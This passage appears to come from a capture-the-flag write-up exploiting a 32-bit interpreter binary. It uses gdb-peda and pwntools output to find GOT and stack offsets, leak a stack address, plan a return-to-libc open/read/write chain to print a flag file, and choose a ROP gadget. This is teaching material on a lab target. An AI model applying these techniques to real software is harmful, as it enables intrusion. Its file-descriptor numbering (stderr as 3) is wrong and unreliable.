&lt;p&gt;ASLR is enabled, so we do not know the absolute position of memory segments. But, we do know relative offsets within segments. Let&#x27;s print out &lt;code&gt;tape&lt;&#x2F;code&gt; and &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; after tape is filled with random bytes. We can find the address of the &lt;code&gt;call run_interpreter&lt;&#x2F;code&gt; instruction by running &lt;code&gt;pdisas&lt;&#x2F;code&gt; to get a colored disassembly of the current function.&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;pdisas
Dump of assembler code for function main:
   0x56555580 &amp;lt;+0&amp;gt;:	lea    ecx,[esp+0x4]
   0x56555584 &amp;lt;+4&amp;gt;:	and    esp,0xfffffff0
   0x56555587 &amp;lt;+7&amp;gt;:	push   DWORD PTR [ecx-0x4]
   0x5655558a &amp;lt;+10&amp;gt;:	push   ebp
   0x5655558b &amp;lt;+11&amp;gt;:	mov    ebp,esp
   0x5655558d &amp;lt;+13&amp;gt;:	push   esi
   0x5655558e &amp;lt;+14&amp;gt;:	push   ebx
=&amp;gt; 0x5655558f &amp;lt;+15&amp;gt;:&lt;span class=&quot;GRN&quot;&gt;	call   0x56555640 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;&lt;&#x2F;span&gt;
   0x56555594 &amp;lt;+20&amp;gt;:	add    ebx,0x1a6c
   0x5655559a &amp;lt;+26&amp;gt;:	push   ecx
   0x5655559b &amp;lt;+27&amp;gt;:	sub    esp,0x14
   0x5655559e &amp;lt;+30&amp;gt;:	push   0x0
   0x565555a0 &amp;lt;+32&amp;gt;:	lea    eax,[ebx-0x1599]
   0x565555a6 &amp;lt;+38&amp;gt;:	push   eax
   0x565555a7 &amp;lt;+39&amp;gt;:&lt;span class=&quot;GRN&quot;&gt;	call   0x56555540 &amp;lt;open@plt&amp;gt;&lt;&#x2F;span&gt;
   0x565555ac &amp;lt;+44&amp;gt;:	add    esp,0x10
   0x565555af &amp;lt;+47&amp;gt;:&lt;span class=&quot;RED&quot;&gt;	cmp    eax,0xffffffff&lt;&#x2F;span&gt;
   0x565555b2 &amp;lt;+50&amp;gt;:&lt;span class=&quot;YEL&quot;&gt;	jne    0x565555cf &amp;lt;main+79&amp;gt;&lt;&#x2F;span&gt;
   0x565555b4 &amp;lt;+52&amp;gt;:	push   ecx
   0x565555b5 &amp;lt;+53&amp;gt;:	push   0x25
   0x565555b7 &amp;lt;+55&amp;gt;:	lea    eax,[ebx-0x158c]
   0x565555bd &amp;lt;+61&amp;gt;:	push   eax
   0x565555be &amp;lt;+62&amp;gt;:	push   0x1
   0x565555c0 &amp;lt;+64&amp;gt;:&lt;span class=&quot;GRN&quot;&gt;	call   0x56555560 &amp;lt;write@plt&amp;gt;&lt;&#x2F;span&gt;
   0x565555c5 &amp;lt;+69&amp;gt;:	add    esp,0x10
   0x565555c8 &amp;lt;+72&amp;gt;:	mov    eax,0x1
   0x565555cd &amp;lt;+77&amp;gt;:&lt;span class=&quot;YEL&quot;&gt;	jmp    0x565555f6 &amp;lt;main+118&amp;gt;&lt;&#x2F;span&gt;
   0x565555cf &amp;lt;+79&amp;gt;:	lea    esi,[ebx+0x40]
   0x565555d5 &amp;lt;+85&amp;gt;:	push   edx
   0x565555d6 &amp;lt;+86&amp;gt;:	push   0x64
   0x565555d8 &amp;lt;+88&amp;gt;:	push   esi
   0x565555d9 &amp;lt;+89&amp;gt;:	push   eax
   0x565555da &amp;lt;+90&amp;gt;:	&lt;span class=&quot;HIR UND&quot;&gt;call   0x56555500 &amp;lt;read@plt&amp;gt;&lt;&#x2F;span&gt;
   0x565555df &amp;lt;+95&amp;gt;:	add    esp,0x10
   0x565555e2 &amp;lt;+98&amp;gt;:&lt;span class=&quot;RED&quot;&gt;	cmp    eax,0x64&lt;&#x2F;span&gt;
   0x565555e5 &amp;lt;+101&amp;gt;:&lt;span class=&quot;YEL&quot;&gt;	jne    0x565555b4 &amp;lt;main+52&amp;gt;&lt;&#x2F;span&gt;
   0x565555e7 &amp;lt;+103&amp;gt;:	lea    eax,[ebx+0x38]
   0x565555ed &amp;lt;+109&amp;gt;:	mov    DWORD PTR [eax],esi
   0x565555ef &amp;lt;+111&amp;gt;:&lt;span class=&quot;GRN&quot;&gt;	call   0x565558a9 &amp;lt;run_interpreter&amp;gt;&lt;&#x2F;span&gt;
   0x565555f4 &amp;lt;+116&amp;gt;:	xor    eax,eax
   0x565555f6 &amp;lt;+118&amp;gt;:	lea    esp,[ebp-0xc]
   0x565555f9 &amp;lt;+121&amp;gt;:	pop    ecx
   0x565555fa &amp;lt;+122&amp;gt;:	pop    ebx
   0x565555fb &amp;lt;+123&amp;gt;:	pop    esi
   0x565555fc &amp;lt;+124&amp;gt;:	pop    ebp
   0x565555fd &amp;lt;+125&amp;gt;:	lea    esp,[ecx-0x4]
   0x56555600 &amp;lt;+128&amp;gt;:&lt;span class=&quot;BLU&quot;&gt;	ret    &lt;&#x2F;span&gt;
End of assembler dump.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we can add a breakpoint in &lt;code&gt;gdb_cmds.gdb&lt;&#x2F;code&gt; right before the call to &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt;. I prefer &lt;a href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;onlinedocs&#x2F;gdb&#x2F;Set-Breaks.html&quot;&gt;hbreak over break&lt;&#x2F;a&gt; to set hardware breakpoints because they do not touch the memory. When a soft breakpoint is set, the memory is overwritten with an &lt;a href=&quot;http:&#x2F;&#x2F;eli.thegreenplace.net&#x2F;2011&#x2F;01&#x2F;27&#x2F;how-debuggers-work-part-2-breakpoints&quot;&gt;int3 instruction&lt;&#x2F;a&gt;, which &lt;em&gt;can&lt;&#x2F;em&gt; cause problems. To set a breakpoint on an address, we need to add a &lt;code&gt;*&lt;&#x2F;code&gt; before the address. To set a breakpoint relative to a symbol, we can use &lt;code&gt;*(my_symbol_name + 10)&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;hbreak main
&lt;&#x2F;span&gt;&lt;span&gt;hbreak *(main + 111)
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now when we re-run the debug script and hit our second breakpoint, we can print the contents of &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; and &lt;code&gt;tape&lt;&#x2F;code&gt;. Observe that we must use a &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; so that GDB treats the variables as pointers:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;x&#x2F;wx &amp;amp;tape_ptr
0x56557038 &amp;lt;tape_ptr&amp;gt;:	0x56557040

&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;x&#x2F;20wx &amp;amp;tape
0x56557040 &amp;lt;tape&amp;gt;:	0x8c7915fb	0x7dabf20b	0xfcc0d280	0x0dddb271
0x56557050 &amp;lt;tape+16&amp;gt;:	0xbe393117	0xb02f5f74	0x3f01c9d1	0xda5e0096
0x56557060 &amp;lt;tape+32&amp;gt;:	0x6d0b049d	0x1ef4f1f0	0xb0a3a7db	0x8d827a16
0x56557070 &amp;lt;tape+48&amp;gt;:	0x0e4ec52a	0x123e99bb	0xfcaf9b75	0x0e796f9f
0x56557080 &amp;lt;tape+64&amp;gt;:	0x38443f8a	0xc9d16514	0x9b57df5a	0x5e9d9d0a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can access memory that is close to &lt;code&gt;tape&lt;&#x2F;code&gt;. Because our binary is dynamically linked, we know it has a &lt;a href=&quot;http:&#x2F;&#x2F;grantcurell.com&#x2F;2015&#x2F;09&#x2F;21&#x2F;what-is-the-symbol-table-and-what-is-the-global-offset-table&#x2F;&quot;&gt;global offset table (GOT)&lt;&#x2F;a&gt;. We can find the relative offset to GOT entries. Let&#x27;s use pwntools to determine the offset between GOT entries and &lt;code&gt;tape&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&gt;&gt;&gt; from pwn import *
&gt;&gt;&gt; e = ELF(&#x27;brain-repl&#x27;)
[&lt;span class=&quot;CYN&quot;&gt;*&lt;&#x2F;span&gt;] &#x27;brain-repl-ctf-problem&#x2F;brain-repl&#x27;
    Arch:     i386-32-little
    RELRO:    &lt;span class=&quot;YEL&quot;&gt;Partial RELRO&lt;&#x2F;span&gt;
    Stack:    &lt;span class=&quot;RED&quot;&gt;No canary found&lt;&#x2F;span&gt;
    NX:       &lt;span class=&quot;GRN&quot;&gt;NX enabled&lt;&#x2F;span&gt;
    PIE:      &lt;span class=&quot;GRN&quot;&gt;PIE enabled&lt;&#x2F;span&gt;
    FORTIFY:  &lt;span class=&quot;GRN&quot;&gt;Enabled&lt;&#x2F;span&gt;
&gt;&gt;&gt; e.got[&#x27;open&#x27;] - e.sym[&#x27;tape&#x27;]
-36
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can check this with GDB. We cast the tape address to &lt;code&gt;void *&lt;&#x2F;code&gt; to avoid it being treated as an &lt;code&gt;int *&lt;&#x2F;code&gt; (because of &lt;a href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20170205183414&#x2F;https:&#x2F;&#x2F;www.cs.umd.edu&#x2F;class&#x2F;sum2003&#x2F;cmsc311&#x2F;Notes&#x2F;BitOp&#x2F;pointer.html&quot;&gt;C pointer arithmetic&lt;&#x2F;a&gt;):&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;x&#x2F;wx ((void *) &amp;amp;tape) - 36
0x5655701c &amp;lt;open&amp;#64;got.plt&amp;gt;:	0xf7ed5740
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We could overwrite the GOT entries, but then we would only get a single function call. Overwriting the GOT entries alone is not enough to get an attack such as ROP off the ground. To get ROP working, we need to control the stack (or at least a buffer where we get esp to point). Also, we are pretending we do not have access to the &lt;code&gt;libc.so&lt;&#x2F;code&gt; file being used, so we do not know the relative positions of symbols in libc (which would be needed to calculate the absolute address of symbols). Even if we knew the absolute address of functions such as &lt;code&gt;execve()&lt;&#x2F;code&gt; or &lt;code&gt;system()&lt;&#x2F;code&gt;, we do not yet control the stack (which we need to set the correct arguments to these functions).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;controlling-the-stack&quot;&gt;Controlling the Stack&lt;a class=&quot;zola-anchor&quot; href=&quot;#controlling-the-stack&quot; aria-label=&quot;Anchor link for: controlling-the-stack&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;At this point, we find that controlling the stack would be useful. But how? If only we could leak the address of a stack variable...&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span&gt;*cmd;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;run_interpreter&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    uint8_t c;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p_str&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Welcome to the interpeter&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; LOOK HERE
&lt;&#x2F;span&gt;&lt;span&gt;        cmd = &amp;amp;c;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p_str&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bye!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see that the address of a stack variable is leaked in a global variable! Let&#x27;s verify this happens in GDB. We can determine the best place by dynamically stepping through with the &lt;code&gt;ni&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;si&lt;&#x2F;code&gt; instructions or by statically looking at the output of &lt;code&gt;pdisas run_interpreter&lt;&#x2F;code&gt;. I am choosing to place the breakpoing at &lt;code&gt;run_interpreter+107&lt;&#x2F;code&gt; (right after the write to &lt;code&gt;cmd&lt;&#x2F;code&gt;). Add the following command to the GDB command file:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;hbreak *(run_interpreter + 107)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, we can verify that cmd does leak a stack address using the &lt;code&gt;x&lt;&#x2F;code&gt; and &lt;code&gt;vmmap&lt;&#x2F;code&gt; commands:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;x&#x2F;wx &amp;amp;cmd
0x5655703c &amp;lt;cmd&amp;gt;:	&lt;b&gt;0xffffd37f&lt;&#x2F;b&gt;

&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;vmmap
&lt;span style=&quot;font-weight:bold;&quot; class=&quot;BLU&quot;&gt;Start      End        Perm	Name&lt;&#x2F;span&gt;
0x56555000 0x56556000 r-xp	&#x2F;brain-repl-ctf-problem&#x2F;brain-repl
0x56556000 0x56557000 r--p	&#x2F;brain-repl-ctf-problem&#x2F;brain-repl
0x56557000 0x56558000 rw-p	&#x2F;brain-repl-ctf-problem&#x2F;brain-repl
0xf7dfa000 0xf7dfb000 rw-p	mapped
0xf7dfb000 0xf7fa3000 r-xp	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc-2.19.so
0xf7fa3000 0xf7fa5000 r--p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc-2.19.so
0xf7fa5000 0xf7fa6000 rw-p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc-2.19.so
0xf7fa6000 0xf7fa9000 rw-p	mapped
0xf7fd9000 0xf7fdb000 rw-p	mapped
0xf7fdb000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;ld-2.19.so
&lt;b&gt;0xfffdd000 0xffffe000 rw-p	[stack]&lt;&#x2F;b&gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we know the location of a stack variable. At this point, we could be clever and overwrite the value of &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; to &quot;jump&quot; the tape pointer to the stack! Before we do this, we should figure out where we want to write. To perform a return-to-libc or ROP attack, we want to write our payload starting at a return address. So, we need to figure the offset from &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt;&#x27;s &lt;code&gt;c&lt;&#x2F;code&gt; local variable and its return address.&lt;&#x2F;p&gt;
&lt;p&gt;We know that &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt; is called from &lt;code&gt;main()&lt;&#x2F;code&gt;, so the return address should point to code inside &lt;code&gt;main()&lt;&#x2F;code&gt;. We can calculate the offset a few different ways. One way is to look at the disassembly of &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;pdisas run_interpreter
Dump of assembler code for function run_interpreter:
   ...
   0x565558e3 &amp;lt;+58&amp;gt;:	push   0x1
   0x565558e5 &amp;lt;+60&amp;gt;:	lea    esi,[ebp-0x9]
   0x565558e8 &amp;lt;+63&amp;gt;:	push   esi
   0x565558e9 &amp;lt;+64&amp;gt;:	push   0x0
   0x565558eb &amp;lt;+66&amp;gt;:	&lt;span style=&quot;font-weight:bold;text-decoration:underline;&quot; class=&quot;RED&quot;&gt;call   0x56555500 &amp;lt;read&amp;#64;plt&amp;gt;&lt;&#x2F;span&gt;
   ...
End of assembler dump.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see this snippet corresponds to a call to &lt;code&gt;read(0, ebp-0x9, 1)&lt;&#x2F;code&gt; because arguments are pushed on the stack in reverse order. The return address is usually at &lt;code&gt;ebp+4&lt;&#x2F;code&gt;, so using a little arithmetic we find the offset is &lt;code&gt;(ebp+4) - (ebp-9) == 13&lt;&#x2F;code&gt;. Let&#x27;s double check our work with the &lt;code&gt;backtrace&lt;&#x2F;code&gt; (shortened to &lt;code&gt;bt&lt;&#x2F;code&gt;) command:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;bt
#0  0x56555914 in run_interpreter ()
#1  &lt;b&gt;0x565555f4&lt;&#x2F;b&gt; in main ()
#2  0xf7e14a83 in __libc_start_main () from &#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc.so.6
#3  0x56555632 in &amp;#95;start ()

&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;x&#x2F;wx cmd + 13
0xffffd30c:	&lt;b&gt;0x565555f4&lt;&#x2F;b&gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;creating-our-payload&quot;&gt;Creating our payload&lt;a class=&quot;zola-anchor&quot; href=&quot;#creating-our-payload&quot; aria-label=&quot;Anchor link for: creating-our-payload&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now we know where to jump to write our payload. What payload should we write? We &lt;em&gt;cannot&lt;&#x2F;em&gt; easily spawn a shell with one function call, but we can make multple function calls using the &lt;a href=&quot;http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;58&#x2F;4.html&quot;&gt;&quot;esp lifting&quot; method&lt;&#x2F;a&gt; described by Nergal. Instead of spawning a shell (which would require finding other libc functions), we can call &lt;code&gt;open()&lt;&#x2F;code&gt;, &lt;code&gt;read()&lt;&#x2F;code&gt;, and &lt;code&gt;write()&lt;&#x2F;code&gt; to open the flag file, read the flag contents into a buffer, and write it to stdout:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;fd = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;flag.txt&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(fd, buf, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;buf&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To finish the exploit we still need to:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Figure out where to write &quot;flag.txt&quot; string&lt;&#x2F;li&gt;
&lt;li&gt;Figure out how to use the returned file descriptor from &lt;code&gt;open()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Find a pop-ret gadget to increase esp between function calls&lt;&#x2F;li&gt;
&lt;li&gt;Finally launch our exploit&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;storing-flag-txt&quot;&gt;Storing &quot;flag.txt&quot;&lt;a class=&quot;zola-anchor&quot; href=&quot;#storing-flag-txt&quot; aria-label=&quot;Anchor link for: storing-flag-txt&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;We can simply use &lt;code&gt;tape&lt;&#x2F;code&gt; to store our string &quot;flag.txt&quot;. Don&#x27;t forget to include a NUL terminator character at the end. We can compute the address of &lt;code&gt;tape&lt;&#x2F;code&gt; by reading &lt;code&gt;tape_ptr&lt;&#x2F;code&gt;. We can now add the relative offset between &lt;code&gt;tape&lt;&#x2F;code&gt; and &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; to the leaked address of &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; to get the absolute address of &lt;code&gt;tape&lt;&#x2F;code&gt;. This equation is actually quite useful in general for determining absolute addresses:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;b.absolute_address = a.absolute_address + a_to_b.relative_offset
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When we write our exploit script, we can just use the &#x27;symbols&#x27; field of the &lt;a href=&quot;https:&#x2F;&#x2F;docs.pwntools.com&#x2F;en&#x2F;latest&#x2F;elf&#x2F;elf.html&quot;&gt;ELF pwntools&lt;&#x2F;a&gt; class to compute the offset.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;using-returned-file-descriptor&quot;&gt;Using returned file descriptor&lt;a class=&quot;zola-anchor&quot; href=&quot;#using-returned-file-descriptor&quot; aria-label=&quot;Anchor link for: using-returned-file-descriptor&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The &lt;a href=&quot;http:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man2&#x2F;open.2.html#DESCRIPTION&quot;&gt;Linux man page for open()&lt;&#x2F;a&gt; explains that &lt;code&gt;open()&lt;&#x2F;code&gt; must return the &quot;lowest-numbered file descriptor not currently open for the process&quot;. Because we know that &lt;code&gt;stdin&lt;&#x2F;code&gt; (0), &lt;code&gt;stdout&lt;&#x2F;code&gt; (1), &lt;code&gt;stderr&lt;&#x2F;code&gt; (3), and &lt;code&gt;&#x2F;dev&#x2F;urandom&lt;&#x2F;code&gt; (4) are the only open files, we know that &lt;code&gt;open()&lt;&#x2F;code&gt; will return 5 as the next file descriptor. Now our payload simplifies to:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;flag.txt&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;buf&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, buf, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;finding-a-pop-ret-gadget&quot;&gt;Finding a pop-ret gadget&lt;a class=&quot;zola-anchor&quot; href=&quot;#finding-a-pop-ret-gadget&quot; aria-label=&quot;Anchor link for: finding-a-pop-ret-gadget&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;We can use PEDA to easily find pop-ret gadgets with the &lt;code&gt;ropgadget&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;ropgadget
ret = 0x565554d6
popret = 0x565554ed
pop2ret = 0x56555678
pop3ret = 0x565558a5
pop4ret = 0x565558a4
leaveret = 0x565557cf
addesp_12 = 0x565554ea
addesp_16 = 0x565557c6
addesp_20 = 0x56555761
addesp_28 = 0x56555675
addesp_44 = 0x565559a9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We want to smallest pop-ret that will accommodate all of the arguments we want to pass. I chose the pop4ret gadget.&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;pdisas 0x565558a4 &#x2F;5
   0x565558a4 &amp;lt;handle_cmd+211&amp;gt;:	pop    ebx
   0x565558a5 &amp;lt;handle_cmd+212&amp;gt;:	pop    esi
   0x565558a6 &amp;lt;handle_cmd+213&amp;gt;:	pop    edi
   0x565558a7 &amp;lt;handle_cmd+214&amp;gt;:	pop    ebp
   0x565558a8 &amp;lt;handle_cmd+215&amp;gt;:&lt;span class=&quot;BLU&quot;&gt;	ret&lt;&#x2F;span&gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
